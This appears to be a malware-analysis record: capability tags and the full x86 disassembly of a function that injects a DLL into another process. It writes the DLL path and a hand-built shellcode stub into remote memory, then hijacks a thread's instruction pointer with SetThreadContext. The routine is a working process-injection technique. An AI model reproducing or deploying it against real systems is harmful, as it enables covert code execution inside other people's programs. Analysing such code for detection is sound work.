Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x304], esi
mov dword [ebp - 0x30c], eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401030
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub ecx, edx
sar ecx, 1
push 4
push 0x1000
lea eax, [ecx*2 + 2]
push eax
push 0
push edi
mov dword [ebp - 0x308], eax
call ebx
mov dword [ebp - 0x310], eax
test eax, eax
je 0x40110a
push 0
push dword [ebp - 0x308]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40110a
push 0x40
push 0x3000
push 0x29
push 0
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40110a
push str.LoadLibraryW
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x314], eax
test eax, eax
je 0x40110a
push esi
mov byte [ebp - 0x2fd], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
jne 0x4010eb
push 1
push eax
push dword [ebp - 0x304]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
mov byte [ebp - 0x2fd], 1
test esi, esi
je 0x40110a
push str.VirtualFreeWrapper
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40111d
cmp byte [ebp - 0x2fd], al
je 0x40110a
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040169b
mov esp, ebp
pop ebp
ret
sub eax, esi
cmp byte [ebp - 0x2fd], 0
mov dword [ebp - 0x304], eax
je 0x401135
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x2fc]
mov dword [ebp - 0x2fc], 0x10001
push eax
push dword [ebp - 0x30c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40110a
mov eax, dword [ebp - 0x244]
mov esi, dword [ebp - 0x310]
mov dword [ebp - 0x2f], eax
mov eax, dword [ebp - 0x314]
sub eax, ebx
mov byte [ebp - 0x30], 0x68
sub eax, 0x11
mov word [ebp - 0x2b], 0x609c
mov dword [ebp - 0x23], eax
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x31c]
push eax
push 0x29
lea eax, [ebp - 0x30]
mov byte [ebp - 0x29], 0x68
push eax
push ebx
push edi
mov dword [ebp - 0x28], esi
mov byte [ebp - 0x24], 0xe8
mov dword [ebp - 0x1f], 0x117ec085
mov byte [ebp - 0x1b], 0x68
mov dword [ebp - 0x1a], ebx
mov byte [ebp - 0x16], 0x68
mov dword [ebp - 0x15], esi
mov byte [ebp - 0x11], 5
mov dword [ebp - 0xc], 0x9d61c350
mov byte [ebp - 8], 0xc3
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40110a
lea eax, [ebp - 0x318]
push eax
push 2
push dword [ebp - 0x308]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push edi
call esi
lea eax, [ebp - 0x318]
push eax
push 0x20
push 0x29
push ebx
push edi
call esi
push dword [ebp - 0x31c]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x2fc]
mov dword [ebp - 0x244], ebx
push eax
push dword [ebp - 0x30c]
mov dword [ebp - 0x2fc], 0x10001
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040169b
mov esp, ebp
pop ebp
ret